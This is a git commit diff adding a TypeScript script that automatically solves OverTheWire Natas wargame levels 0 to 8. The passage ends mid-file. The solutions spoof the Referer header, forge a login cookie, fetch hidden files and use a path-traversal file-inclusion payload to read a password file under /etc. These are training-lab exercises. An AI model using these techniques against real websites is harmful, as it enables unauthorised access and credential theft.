commit ed8bf400d1c9a95e7f3b7ede96fdcaed6971fd6d Author: Michael Zhang Date: Thu Oct 5 00:39:07 2023 -0500 initial diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c449ca2 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +node_modules +passwords.json \ No newline at end of file diff --git a/bun.lockb b/bun.lockb new file mode 100755 index 0000000..96a1852 Binary files /dev/null and b/bun.lockb differ diff --git a/index.ts b/index.ts new file mode 100644 index 0000000..580c7c9 --- /dev/null +++ b/index.ts @@ -0,0 +1,55 @@ +import solve from "./solve"; +import { getPasswordFor, savePassword } from "./util"; + +async function main() { + let prevPassword = "natas0"; + + for (let i = 0; ; i++) { + console.log(`Solving level ${i}`); + + const savedPassword = await getPasswordFor(i); + if (savedPassword) { + console.log("saved"); + prevPassword = savedPassword; + continue; + } + + const user = `natas${i}`; + const fetchReplacement = async (url: string, init?: RequestInit) => { + const newUrl = new URL( + url, + `http://natas${i}.natas.labs.overthewire.org/` + ); + const headers = new Headers(init?.headers); + + const authorization = btoa(`${user}:${prevPassword}`); + headers.set("Authorization", `Basic ${authorization}`); + const newInit = { ...init, headers }; + console.log(newUrl, user, prevPassword, newInit); + return await fetch(newUrl, newInit); + }; + + const solveFn = solve[i]; + + if (!solveFn) throw new Error(`No solution for natas${i} yet.`); + + try { + const password = await solveFn({ + username: user, + prevPassword, + fetch: fetchReplacement, + }); + + if (typeof password !== "string") throw new Error("non-string output"); + + prevPassword = password; + savePassword(i, password); + } catch (e) { + console.log("sad"); + console.trace(e); + break; + } + } +} + +main(); diff --git a/package.json b/package.json new file mode 100644 index 0000000..f099686 --- /dev/null +++ b/package.json @@ -0,0 +1,5 @@ +{ + "devDependencies": { + "bun-types": "^1.0.4-canary.20231004T140131" + } +} diff --git a/solve.ts b/solve.ts new file mode 100644 index 0000000..5be2a0d --- /dev/null +++ b/solve.ts @@ -0,0 +1,209 @@ +import { bytes2str, determinePeriod, hex2bin, xor } from "./util"; + +const solves: SolveFn[] = [ + async ({ fetch }) => { + const result = await fetch("/"); + const text = await result.text(); + const match = text.match(/The password for natas1 is ([^ ]+)/); + return match[1]; + }, + + async ({ fetch }) => { + const result = await fetch("/"); + const text = await result.text(); + const match = text.match(/The password for natas2 is ([^ ]+)/); + return match[1]; + }, + + async ({ fetch }) => { + const result = await fetch("/files/users.txt"); + const text = await result.text(); + const match = text.match(/^natas3:([^\s]+)$/m); + return match[1]; + }, + + async ({ fetch }) => { + // Discover this URL through /robots.txt + const result = await fetch("/s3cr3t/users.txt"); + const text = await result.text(); + const match = text.match(/^natas4:([^\s]+)$/m); + return match[1]; + }, + + async ({ fetch }) => { + const result = await fetch("/", { + headers: { Referer: "http://natas5.natas.labs.overthewire.org/" }, + }); + const text = await result.text(); + const match = text.match(/The password for natas5 is ([^\s]+)/m); + return match[1]; + }, + + async ({ fetch }) => { + const result = await fetch("/", { + headers: { cookie: "loggedin=1" }, + }); + const text = await result.text(); + const match = text.match(/The password for natas6 is ([a-zA-Z0-9]+)/m); + return match[1]; + }, + + async ({ fetch }) => { + const result = await fetch("/includes/secret.inc"); + const text = await result.text(); + const secret = text.match(/\$secret = "([^"]+)"/); + + const params = new URLSearchParams([ + ["secret", secret[1]], + ["submit", "Submit+Query"], + ]); + const result2 = await fetch("/", { + method: "POST", + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: params.toString(), + }); + const text2 = await result2.text(); + + const match = text2.match(/The password for natas7 is ([a-zA-Z0-9]+)/m); + return match[1]; + }, + + async ({ fetch }) => { + // Local file inclusion + const result = await fetch( + "/index.php?page=../../../../../etc/natas_webpass/natas8" + ); + const text = await result.text(); + const match = text.match(/
\s+([a-zA-Z0-9]+)\s+